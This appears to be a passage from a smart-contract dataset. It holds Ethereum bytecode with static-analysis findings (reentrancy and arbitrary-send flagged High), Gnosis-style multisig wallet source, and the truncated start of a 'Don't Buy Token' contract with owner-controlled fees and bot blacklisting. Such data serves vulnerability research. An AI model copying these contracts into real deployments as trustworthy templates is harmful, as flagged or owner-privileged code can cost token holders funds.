3811015610fe85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610474565b600061159b611316565b905060006115a98383610f69565b306000908152600260205260409020549091506115c69082611532565b30600090815260026020526040902055505050565b6006546115e890836114f0565b6006556007546115f89082611532565b6007555050565b600080808061161360646104098989610f69565b9050600061162660646104098a89610f69565b9050600061163e826116388b866114f0565b906114f0565b9992985090965090945050505050565b600080808061165d8886610f69565b9050600061166b8887610f69565b905060006116798888610f69565b9050600061168b8261163886866114f0565b939b939a50919850919650505050505050565b80356116a981611aa3565b919050565b6000602082840312156116c057600080fd5b8135610fe881611aa3565b6000602082840312156116dd57600080fd5b8151610fe881611aa3565b600080604083850312156116fb57600080fd5b823561170681611aa3565b9150602083013561171681611aa3565b809150509250929050565b60008060006060848603121561173657600080fd5b833561174181611aa3565b9250602084013561175181611aa3565b929592945050506040919091013590565b6000806040838503121561177557600080fd5b823561178081611aa3565b946020939093013593505050565b600060208083850312156117a157600080fd5b823567ffffffffffffffff808211156117b957600080fd5b818501915085601f8301126117cd57600080fd5b8135818111156117df576117df611a8d565b8060051b604051601f19603f8301168101818110858211171561180457611804611a8d565b604052828152858101935084860182860187018a101561182357600080fd5b600095505b8386101561184d576118398161169e565b855260019590950194938601938601611828565b5098975050505050505050565b60006020828403121561186c57600080fd5b8135610fe881611ab8565b60006020828403121561188957600080fd5b8151610fe881611ab8565b6000602082840312156118a657600080fd5b5035919050565b6000806000606084860312156118c257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611908578581018301518582016040015282016118ec565b8181111561191a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b55784516001600160a01b031683529383019391830191600101611990565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119e9576119e9611a61565b500190565b600082611a0b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2a57611a2a611a61565b500290565b600082821015611a4157611a41611a61565b500390565b6000600019821415611a5a57611a5a611a61565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c557600080fd5b80151581146104c557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f18e521d679db8a10ed680ba1d326813c7e7659948de752e2c9d0c496945811464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,785 |
0x00674045bb7c17f0aa1cde34780d6c51af548728
|
pragma solidity 0.4.14;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="a3d0d7c6c5c2cd8dc4c6ccd1c4c6e3c0cccdd0c6cdd0dad08dcdc6d7">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="ec9f98898a8d82c28b89839e8b89ac8f83829f89829f959fc2828998">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
return dailyLimit - spentToday;
}
}
|
0x606060405236156101515763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461019c578063173825d9146101ce57806320ea8d86146101ef5780632f54bf6e146102075780633411c81c1461023a5780634bc9fdc214610270578063547415251461029557806367eeba0c146102c45780636b0c932d146102e95780637065cb481461030e578063784547a71461032f5780638b51d13f146103595780639ace38c214610381578063a0e67e2b14610440578063a8abe69a146104a7578063b5dc40c31461051e578063b77bf60014610588578063ba51a6df146105ad578063c01a8c84146105c5578063c6427474146105dd578063cea0862114610654578063d74f8edd1461066c578063dc8452cd14610691578063e20056e6146106b6578063ee22610b146106dd578063f059cf2b146106f5575b5b60003411156101995733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b34156101a757600080fd5b6101b260043561071a565b604051600160a060020a03909116815260200160405180910390f35b34156101d957600080fd5b610199600160a060020a036004351661074c565b005b34156101fa57600080fd5b6101996004356108fd565b005b341561021257600080fd5b610226600160a060020a03600435166109df565b604051901515815260200160405180910390f35b341561024557600080fd5b610226600435600160a060020a03602435166109f4565b604051901515815260200160405180910390f35b341561027b57600080fd5b610283610a14565b60405190815260200160405180910390f35b34156102a057600080fd5b61028360043515156024351515610a3a565b60405190815260200160405180910390f35b34156102cf57600080fd5b610283610aa9565b60405190815260200160405180910390f35b34156102f457600080fd5b610283610aaf565b60405190815260200160405180910390f35b341561031957600080fd5b610199600160a060020a0360043516610ab5565b005b341561033a57600080fd5b610226600435610bea565b604051901515815260200160405180910390f35b341561036457600080fd5b610283600435610c7e565b60405190815260200160405180910390f35b341561038c57600080fd5b610397600435610cfd565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a08301908590801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b50509550505050505060405180910390f35b341561044b57600080fd5b610453610d31565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b34156104b257600080fd5b61045360043560243560443515156064351515610d9a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b341561052957600080fd5b610453600435610ec8565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b341561059357600080fd5b61028361104a565b60405190815260200160405180910390f35b34156105b857600080fd5b610199600435611050565b005b34156105d057600080fd5b6101996004356110de565b005b34156105e857600080fd5b61028360048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506111d095505050505050565b60405190815260200160405180910390f35b341561065f57600080fd5b6101996004356111f0565b005b341561067757600080fd5b61028361124d565b60405190815260200160405180910390f35b341561069c57600080fd5b610283611252565b60405190815260200160405180910390f35b34156106c157600080fd5b610199600160a060020a0360043581169060243516611258565b005b34156106e857600080fd5b610199600435611419565b005b341561070057600080fd5b6102836115db565b60405190815260200160405180910390f35b600380548290811061072857fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561076e57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561079757600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156108925782600160a060020a03166003838154811015156107e157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156108865760038054600019810190811061082257fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561085157fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550610892565b5b6001909101906107ba565b6003805460001901906108a59082611728565b5060035460045411156108be576003546108be90611050565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561092557600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561095a57600080fd5b600084815260208190526040902060030154849060ff161561097b57600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b60006007546201518001421115610a2e5750600654610a37565b50600854600654035b90565b6000805b600554811015610aa157838015610a67575060008181526020819052604090206003015460ff16155b80610a8b5750828015610a8b575060008181526020819052604090206003015460ff165b5b15610a98576001820191505b5b600101610a3e565b5b5092915050565b60065481565b60075481565b30600160a060020a031633600160a060020a0316141515610ad557600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610afd57600080fd5b81600160a060020a0381161515610b1357600080fd5b6003805490506001016004546032821180610b2d57508181115b80610b36575080155b80610b3f575081155b15610b4957600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610b818382611728565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610c765760008481526001602052604081206003805491929184908110610c1857fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610c5a576001820191505b600454821415610c6d5760019250610c76565b5b600101610bef565b5b5050919050565b6000805b600354811015610cf65760008381526001602052604081206003805491929184908110610cab57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610ced576001820191505b5b600101610c82565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610d3961177c565b6003805480602002602001604051908101604052809291908181526020018280548015610d8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d71575b505050505090505b90565b610da261177c565b610daa61177c565b600080600554604051805910610dbd5750595b908082528060200260200182016040525b50925060009150600090505b600554811015610e5557858015610e03575060008181526020819052604090206003015460ff16155b80610e275750848015610e27575060008181526020819052604090206003015460ff165b5b15610e4c5780838381518110610e3a57fe5b60209081029091010152600191909101905b5b600101610dda565b878703604051805910610e655750595b908082528060200260200182016040525b5093508790505b86811015610ebc57828181518110610e9157fe5b906020019060200201518489830381518110610ea957fe5b602090810290910101525b600101610e7d565b5b505050949350505050565b610ed061177c565b610ed861177c565b6003546000908190604051805910610eed5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610fd05760008581526001602052604081206003805491929184908110610f3357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610fc7576003805482908110610f7c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610fa857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610f0a565b81604051805910610fde5750595b908082528060200260200182016040525b509350600090505b818110156110415782818151811061100b57fe5b9060200190602002015184828151811061102157fe5b600160a060020a039092166020928302909101909101525b600101610ff7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a031614151561107057600080fd5b60035481603282118061108257508181115b8061108b575080155b80611094575081155b1561109e57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff16151561110657600080fd5b6000828152602081905260409020548290600160a060020a0316151561112b57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561115f57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36109d585611419565b5b5b50505b505b5050565b60006111dd8484846115e1565b90506111e8816110de565b5b9392505050565b30600160a060020a031633600160a060020a031614151561121057600080fd5b60068190557fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca28160405190815260200160405180910390a15b5b50565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561127a57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615156112a357600080fd5b600160a060020a038316600090815260026020526040902054839060ff16156112cb57600080fd5b600092505b6003548310156113735784600160a060020a03166003848154811015156112f357fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a03161415611367578360038481548110151561133257fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611373565b5b6001909201916112d0565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b6000818152602081905260408120600301548190839060ff161561143c57600080fd5b6000848152602081905260409020925061145584610bea565b915081806114885750600280840154600019610100600183161502011604158015611488575061148883600101546116e0565b5b5b156109d85760038301805460ff191660011790558115156114b45760018301546008805490910190555b82546001840154600160a060020a03909116906002850160405180828054600181600116156101000203166002900480156115305780601f1061150557610100808354040283529160200191611530565b820191906000526020600020905b81548152906001019060200180831161151357829003601f168201915b505091505060006040518083038185876187965a03f1925050501561158157837f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26109d8565b837f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038301805460ff191690558115156109d8576001830154600880549190910390555b5b5b5b5b50505050565b60085481565b600083600160a060020a03811615156115f957600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516116849291602001906117a0565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b600060075462015180014211156116fb574260075560006008555b600654826008540111806117125750600854828101105b1561171f57506000611723565b5060015b919050565b8154818355818115116108f6576000838152602090206108f691810190830161181f565b5b505050565b8154818355818115116108f6576000838152602090206108f691810190830161181f565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106117e157805160ff191683800117855561180e565b8280016001018555821561180e579182015b8281111561180e5782518255916020019190600101906117f3565b5b5061181b92915061181f565b5090565b610a3791905b8082111561181b5760008155600101611825565b5090565b905600a165627a7a72305820733256192738661f370609b99e4960c3a7d4e2171ba66e8c8f1a9a5ad6c69f7c0029
|
{"success": true, "error": null, "results": {}}
| 5,786 |
0x2bdd5b9ac111c0641b4ab8004e7e5f1a02cd2f70
|
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
//Don't Buy Token ($DontBuy)
//Telegram: https://t.me/DontBuyToken
//don't buy this token
//Website: duh...
/*
.-'''-.
_______ ' _ \
\ ___ `'. / /` '. \ _..._ ,.--. /|
' |--.\ \ . | \ ' .' '. // \ || .-. .-
| | \ ' | ' | '. .-. .\\ | .| || \ \ / /
| | | '\ \ / / | ' ' | `'-)/ .' |_ || __ \ \ / /
| | | | `. ` ..' / | | | | /'.' | ||/'__ '. _ _ \ \ / /
| | ' .' '-...-'` | | | | '--. .-' |:/` '. ' | ' / | \ \ / /
| |___.' /' | | | | | | || | |.' | .' | \ ` /
/_______.'/ | | | | | | ||\ / '/ | / | \ /
\_______|/ | | | | | '.' |/\'..' /| `'. | / /
| | | | | / ' `'-'` ' .'| '/|`-' /
'--' '--' `'-' `-' `--' '..'
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DontBuyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Don't Buy Token";
string private constant _symbol = "\xE2\x9B\x94DontBuy\xE2\x9B\x94";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
